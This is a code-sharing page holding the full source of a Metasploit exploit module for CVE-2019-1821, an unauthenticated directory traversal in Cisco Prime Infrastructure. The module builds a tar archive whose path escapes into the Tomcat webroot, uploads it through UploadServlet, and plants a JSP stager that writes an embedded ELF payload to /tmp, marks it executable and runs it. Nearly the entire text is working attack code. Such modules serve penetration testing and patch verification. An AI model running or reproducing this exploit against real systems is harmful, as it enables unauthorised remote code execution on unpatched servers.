扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 |
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, 'Name' => 'Cisco Prime Infrastructure Health Monitor TarArchive Directory Traversal Vulnerability', 'Description'=> %q{ This module exploits a vulnerability found in Cisco Prime Infrastructure. The issue is that the TarArchive Java class the HA Health Monitor component uses does not check for any directory traversals while unpacking a Tar file, which can be abused by a remote user to leverage the UploadServlet class to upload a JSP payload to the Apache Tomcat's web apps directory, and gain arbitrary remote code execution. Note that authentication is not required to exploit this vulnerability. }, 'License'=> MSF_LICENSE, 'Author' => [ 'Steven Seeley', # Original discovery, PoC 'sinn3r' # Metasploit module ], 'Platform' => 'linux', 'Arch' => ARCH_X86, 'Targets'=> [ [ 'Cisco Prime Infrastructure 3.4.0.0', { } ] ], 'References' => [ ['CVE', '2019-1821'], ['URL', 'https://srcincite.io/blog/2019/05/17/panic-at-the-cisco-unauthenticated-rce-in-prime-infrastructure.html'], ['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190515-pi-rce'], ['URL', 'https://srcincite.io/advisories/src-2019-0034/'], ['URL', 'https://srcincite.io/pocs/src-2019-0034.py.txt'] ], 'DefaultOptions' => { 'RPORT' => 8082, 'SSL' => true, }, 'Notes'=> { 'SideEffects' => [ IOC_IN_LOGS ], 'Reliability' => [ REPEATABLE_SESSION ], 'Stability' => [ CRASH_SAFE ] }, 'Privileged' => false, 'DisclosureDate' => 'May 15 2019', 'DefaultTarget'=> 0)) register_options( [ OptPort.new('WEBPORT', [true, 'Cisco Prime Infrastructure web interface', 443]), OptString.new('TARGETURI', [true, 'The route for Cisco Prime Infrastructure web interface', '/']) ]) end class CPITarArchive attr_reader :data attr_reader :jsp_name attr_reader :tar_name attr_reader :stager attr_reader :length def initialize(name, stager) @jsp_name = "#{name}.jsp" @tar_name = "#{name}.tar" @stager = stager @data = make @length = data.length end def make data = '' path = "../../opt/CSCOlumos/tomcat/webapps/ROOT/#{jsp_name}" tar = StringIO.new Rex::Tar::Writer.new(tar) do |t| t.add_file(path, 0644) do |f| f.write(stager) end end tar.seek(0) data = tar.read tar.close data end end def check res = send_request_cgi({ 'rport'=> datastore['WEBPORT'], 'SSL'=> true, 'method' => 'GET', 'uri'=> normalize_uri(target_uri.path, 'webacs', 'pages', 'common', 'login.jsp') }) unless res vprint_error('No response from the server') return CheckCode::Unknown end if res.code == 200 && res.headers['Server'] && res.headers['Server'] == 'Prime' return CheckCode::Detected end CheckCode::Safe end def get_jsp_stager(out_file, bin_data) # For some reason, some of the bytes tend to get lost at the end. # Not really sure why, but some extra bytes are added to ensure the integrity # of the code. This file will get deleted during cleanup anyway. %Q|<%@ page import="java.io.*" %> <% String data = "#{Rex::Text.to_hex(bin_data, '')}"; FileOutputStream outputstream = new FileOutputStream("#{out_file}"); int numbytes = data.length(); byte[] bytes = new byte[numbytes/2]; for (int counter = 0; counter < numbytes; counter += 2) { char char1 = (char) data.charAt(counter); char char2 = (char) data.charAt(counter + 1); int comb = Character.digit(char1, 16) & 0xff; comb <<= 4; comb += Character.digit(char2, 16) & 0xff; bytes[counter/2] = (byte)comb; } outputstream.write(bytes); outputstream.close(); try { Runtime.getRuntime().exec("chmod +x #{out_file}"); Runtime.getRuntime().exec("#{out_file}"); } catch (IOException exp) {} %>#{Rex::Text.rand_text_alpha(30)}| end def make_tar elf_name = "/tmp/#{Rex::Text.rand_text_alpha(10)}.bin" register_file_for_cleanup(elf_name) elf = generate_payload_exe(code: payload.encoded) jsp_stager = get_jsp_stager(elf_name, elf) tar_name = Rex::Text.rand_text_alpha(10) register_file_for_cleanup("apache-tomcat-8.5.16/webapps/ROOT/#{tar_name}.jsp") CPITarArchive.new(tar_name, jsp_stager) end def execute_payload(tar) # Once executed, we are at: # /opt/CSCOlumos send_request_cgi({ 'rport'=> datastore['WEBPORT'], 'SSL'=> true, 'method' => 'GET', 'uri'=> normalize_uri(target_uri.path, tar.jsp_name) }) end def upload_tar(tar) post_data = Rex::MIME::Message.new post_data.add_part(tar.data, nil, nil, "form-data; name=\"files\"; filename=\"#{tar.tar_name}\"") # The file gets uploaded to this path on the server: # /opt/CSCOlumos/apache-tomcat-8.5.16/webapps/ROOT/tar_name.jsp res = send_request_cgi({ 'method' => 'POST', 'uri'=> normalize_uri(target_uri.path, 'servlet', 'UploadServlet'), 'data' => post_data.to_s, 'ctype'=> "multipart/form-data; boundary=#{post_data.bound}", 'headers' => { 'Destination-Dir' => 'tftpRoot', 'Compressed-Archive' => 'false', 'Primary-IP' => '127.0.0.1', 'Filecount' => '1', 'Filename' => tar.tar_name, 'FileSize' => tar.length } }) (res && res.code == 200) end def exploit tar = make_tar print_status("Uploading tar file (#{tar.length} bytes)") if upload_tar(tar) print_status('Executing JSP stager...') execute_payload(tar) else print_status("Failed to upload #{tar.tar_name}") end end end |
体验盒子
